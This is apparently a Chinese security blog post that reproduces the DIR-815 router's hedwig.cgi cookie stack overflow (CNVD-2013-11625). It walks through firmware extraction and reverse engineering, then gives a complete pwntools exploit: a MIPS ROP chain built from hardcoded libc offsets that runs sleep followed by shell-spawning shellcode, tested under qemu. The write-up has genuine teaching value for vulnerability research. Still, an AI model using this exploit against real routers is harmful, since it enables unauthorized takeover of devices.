dir-815 栈溢出漏洞复现

本文最后更新于:2023年7月2日 晚上

dir-815 栈溢出漏洞复现

CNVD-2013-11625是Dir-815路由器在hedwig.cgi实现中会存在缓冲区溢出的漏洞。漏洞不正确过滤用户提交的参数数据,允许远程攻击者利用漏洞提交特制请求触发缓冲区溢出,可使应用程序停止响应,造成拒绝服务攻击。

漏洞分析

固件提取

使用 binwalk -Me DIR-815A1_FW101SSB03.bin解压固件。

image-20230702120541796

根据官方提示,漏洞存在于hedwig.cgi中,直接使用find ./ -name '*.cgi' 2>/dev/null搜索。

image-20230702120855993

事实上,该固件cgi都是实现在/htdocs/cgibin中的。我们对cgibin进行分析即可。

程序分析

main

在IDA中打开,首先分析main函数。

image-20230702170228610

可以看到,通过比较第一个参数是否为hedwig.cig,从而调用关键函数hedwigcgi_main函数。

hedwigcgi

首先,获取环境变量request_methed。判断是否为POST请求,若不是,则直接失败返回。

image-20230702170521593

接下来,会调用cgibin_parse_request函数进行解析。

image-20230702171704472

cgibin_parse_request

首先,获取环境变量CONTENT_TYPECONTENT_LENGTH

image-20230702171818689

之后,获取环境变量REQUEST_URI,并使用**?**对该参数进行分割,之后调用sub_402b40函数对后续进行分割。

image-20230702171947690

sub_402b40

对后续参数继续进行分割。若遇到**&,则递归调用sub_402b40继续分割参数;若遇到=,就添加到变量v14中。也就是对URI**进行更细致的分割。

image-20230702172157179

我们继续向下分析cgibin_parse_request函数。

image-20230702173021321

获取环境变量CONTENT_TYPE,然后与**application/**进行比较,之后调用数组off_42c014中的函数。该数组在data段,查看该数组内容。

image-20230702173400292

大致就是,根据CONTENT_TYPE类型,调用不同的函数进行初始化。

image-20230702173625329

这里也可以得到,我们的参数类型大致为 CONTENT_TYPE/x-www-form-urlencoded

我们继续看hedwigcgi函数。

之后,会打开文件,并读入文件到v26中,貌似没什么用。

image-20230702173826847

之后调用sess_get_uid函数,这个函数是溢出的一个关键函数。

image-20230702174015004

若是string足够大,即可溢出v27[1024]数组了。

sess_get_uid

首先,获取环境变量HTTP_COOKIE,然后对cookie进行处理。

image-20230702174139754

逐个拆分获取cookie字段,直到获取uid字段,并返回该字段内容。注意,这个字段是我们可控的。

image-20230702174453733

继续分析hedwigcgi函数。

我们需要绕过如下两个判断,其实这也不需要我们刻意绕过,正常机器下都是可以通过的。

image-20230702174814875

之后,对上述**/var/tmp/temp.xml**字段进行处理,这里也没有判断逻辑,就是顺序执行。若是真机,则不需要处理。否则,需要直接创建一个新的空白xml文件即可。

上述执行都未对v4进行处理,所以v4还是uid字段内容。这里就是真正的栈溢出。

image-20230702175120384

至此,分析完毕。下面我们对该漏洞进行验证。

漏洞验证

对上述漏洞进行验证。验证脚本大致如下,这里我是直接参考winmt师傅的验证脚本,主要是太菜了。

image-20230702180154603

image-20230702180735956

可以看到,我们触发了一个段错误。但是为了避免是其他原因引起的,我们添加-g 4321进行动态调试。

image-20230702180916223

这里我们确实覆盖了返回地址。且溢出长度为1009。

漏洞复现

路由器一般都是没有开启地址随机化的,我们可以直接获取到libc基地址,从而进行任意函数调用。

这里使用vmmap查看libc基址,可以看到为libc_base = 0x7f738000。

image-20230702181649179

接着,就是mips架构的栈溢出了。

若是对mips架构不太了解的,大致可以看看笔者之前的博客

mips架构的程序大都未开启NX保护,栈可以直接执行shellcode。mips架构的栈溢出一般都有一条稳定的rop链。大致是sleep(1) + shellcode

这里rop链子的构造的原理可以参考笔者另一篇博客

最终构造的wp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context.log_level = 'debug'
context.arch = 'mips'

libc_base = 0x7F738000

payload = flat(
{
0x3cd: {
0: 'aaaa', # s0
0x4: libc_base + 0x436d0, # s1 move $t9, $s3 (=> lw... => jalr $t9)
0xc: libc_base + 0x56BD0, # s3 sleep
0x24: libc_base + 0x57E50, # ra li $a0, 1 (=> jalr $s1)
0x28: {
0x28: libc_base + 0x37E6C, # s4 move $t9, $a1 (=> jalr $t9)
0x2c: libc_base + 0x3B974, # ra addiu $a1, $sp, 0x18 (=> jalr $s4)
}
}
}, filler='a'
)

payload += b'a' * 0x18
payload += asm(shellcraft.sh())

payload = b"uid=" + payload
p = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE="%s" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""" % payload, shell = True)

# pause()

# POST
content = "test=l1s00t"
p.send(content)

p.interactive()

image-20230702232715503

image-20230702231818526

成功获取shell。

对上述payload做一个简单的解释。

  1. 测试得到的offset=1009,但是payload使用的offset=0x3cd?

我们的目的不是仅仅覆盖$ra,包括其他$s?参数,以便于我们更好的控制程序执行流程

image-20230702231950195

  1. 第二段payload是从0x28开始的,其目的在于控制$ra与$r4寄存器,以便在sleep(1)执行后依然可以控制程序流程。

image-20230702232444887

参考文章

https://bbs.kanxue.com/thread-272318.htm#msg_header_h2_4


dir-815 栈溢出漏洞复现
http://example.com/2023/07/02/dir-815栈溢出漏洞复现/
作者
l1s00t
发布于
2023年7月2日
更新于
2023年7月2日
许可协议